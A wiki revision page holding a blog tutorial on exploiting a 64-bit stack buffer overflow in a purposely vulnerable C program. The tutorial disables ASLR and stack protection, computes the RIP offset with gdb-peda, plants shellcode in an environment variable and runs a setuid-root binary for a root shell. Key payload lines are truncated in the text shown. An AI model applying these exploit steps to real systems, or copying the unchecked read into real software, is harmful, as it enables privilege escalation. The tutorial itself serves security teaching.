Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| en:it-security:blog:buffer_overflow_x64 [2024/02/22 20:57] – removed psycore | en:it-security:blog:buffer_overflow_x64 [2024/08/02 10:31] (current) – psycore | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| + | {{tag> | ||
| + | ====== Buffer overflow in the 64-bit stack - part 1 ====== | ||
| + | |||
| + | In this tutorial, we will create a buffer overflow on the 64-bit stack to gain root privileges.((https:// | ||
| + | |||
| + | Technical details on buffer overflows, stack etc. can be found here((https:// | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== Dependencies ===== | ||
| + | |||
| + | {{page> | ||
| + | |||
| + | {{page> | ||
| + | |||
| + | What is needed? | ||
| + | |||
| + | * Kali Linux (or other distri) | ||
| + | * GDB Debugger | ||
| + | * gdb-peda | ||
| + | * gcc compiler | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== gdb-peda Exploit Tools ==== | ||
| + | |||
| + | gdb-peda extends the debugger GDB with helpful commands to exploit.((https:// | ||
| + | |||
| + | <code bash> | ||
| + | git clone https:// | ||
| + | echo " | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Deactivate ASLR ==== | ||
| + | |||
| + | ASLR must be deactivated so that memory areas are not randomised. | ||
| + | |||
| + | <code bash> | ||
| + | echo 0 | sudo tee / | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Programme ==== | ||
| + | |||
| + | {{: | ||
| + | |||
| + | <code c> | ||
| + | // code from https:// | ||
| + | |||
| + | #include < | ||
| + | #include < | ||
| + | |||
| + | int vuln() { | ||
| + | char buf[80]; | ||
| + | int r; | ||
| + | r = read(0, buf, 400); | ||
| + | printf(" | ||
| + | puts(" | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | int main(int argc, char *argv[]) { | ||
| + | printf(" | ||
| + | vuln(); | ||
| + | return 0; | ||
| + | } | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | === Compile === | ||
| + | |||
| + | <code bash> | ||
| + | gcc -fno-stack-protector -z execstack bof.c -o bof | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== RIP Register ===== | ||
| + | |||
| + | < | ||
| + | classDiagram | ||
| + | note for Buffer " | ||
| + | note for RBP " | ||
| + | note for RIP "place return address" | ||
| + | Buffer --> RBP | ||
| + | RBP --> RIP | ||
| + | RIP --> 0x00007FFFFFFFC19F | ||
| + | Buffer: AAAAAAAAAAAA | ||
| + | RBP: BBBBBBBBBBBBBB | ||
| + | RIP: 0x00007FFFFFFFFFC19F | ||
| + | class 0x00007FFFFFFFC19F{ | ||
| + | Shellcode() | ||
| + | root shell | ||
| + | } | ||
| + | </ | ||
| + | |||
| + | Of interest to us is the register '' | ||
| + | |||
| + | We start our programme in the debugger and generate a 200-character string: | ||
| + | |||
| + | <code bash> | ||
| + | gdb -q vulnerable | ||
| + | pattern_create 200 in.bin | ||
| + | r < in.bin | ||
| + | </ | ||
| + | |||
| + | [{{it-security: | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Calculate bytes ==== | ||
| + | |||
| + | How many bytes must be transferred before RIP is overwritten? | ||
| + | |||
| + | <code bash> | ||
| + | pattern_offset A7AAMAAiA | ||
| + | Found at Offset 104 | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | 104 bytes must be transferred until the buffer overflows. We generate 104 characters and a canonical return address. To do this, we must use our pseudo address '' | ||
| + | |||
| + | <code asm> | ||
| + | \\ | ||
| + | \\ | ||
| + | We convert this into shellcode: | ||
| + | |||
| + | <code asm> | ||
| + | \\ | ||
| + | \\ | ||
| + | > In a 64-bit architecture, | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Debugging ==== | ||
| + | |||
| + | So let's debug again, with the parameters we have found out | ||
| + | |||
| + | <code python> | ||
| + | python2 -c " | ||
| + | gdb -q bof | ||
| + | r < in.bin | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | [{{it-security: | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== Exploit ===== | ||
| + | |||
| + | In the last step, we create a corresponding exploit to generate the root shell. | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Place shellcode ==== | ||
| + | |||
| + | The Shellcode((http:// | ||
| + | |||
| + | <code bash> | ||
| + | export PWN=`python2 -c ' | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Find variable in stack ==== | ||
| + | \\ | ||
| + | \\ | ||
| + | === GetEnvVar === | ||
| + | |||
| + | <code c> | ||
| + | // code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, | ||
| + | |||
| + | #include < | ||
| + | #include < | ||
| + | #include < | ||
| + | |||
| + | int main(int argc, char *argv[]) { | ||
| + | char *ptr; | ||
| + | |||
| + | if(argc < 3) { | ||
| + | printf(" | ||
| + | exit(0); | ||
| + | } | ||
| + | ptr = getenv(argv[1]); | ||
| + | ptr += (strlen(argv[0]) - strlen(argv[2]))*2; | ||
| + | printf(" | ||
| + | } | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | === Compile === | ||
| + | |||
| + | <code bash> | ||
| + | gcc getenvar.c -o getenvar | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | === Execute === | ||
| + | |||
| + | <code bash> | ||
| + | ./getenvar PWN ./bof | ||
| + | </ | ||
| + | |||
| + | [{{it-security: | ||
| + | |||
| + | The address of the environment variable is '' | ||
| + | |||
| + | <code asm> | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Attack ==== | ||
| + | |||
| + | First we set root rights to the vulnerable file and start it((https:// | ||
| + | |||
| + | <code bash> | ||
| + | sudo chown root bof | ||
| + | sudo chmod 4755 bof | ||
| + | ./bof | ||
| + | </ | ||
| + | |||
| + | Now we can execute the buffer overflow: | ||
| + | |||
| + | <code bash> | ||
| + | (python2 -c " | ||
| + | </ | ||
| + | |||
| + | [{{it-security: | ||
| + | \\ | ||
| + | \\ | ||
| + | ^ Project files | {{ it-security: | ||
| + | ^ Size | 5.76 KB | | ||
| + | ^ Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 | | ||
| + | |||
| + | ~~DISCUSSION~~ | ||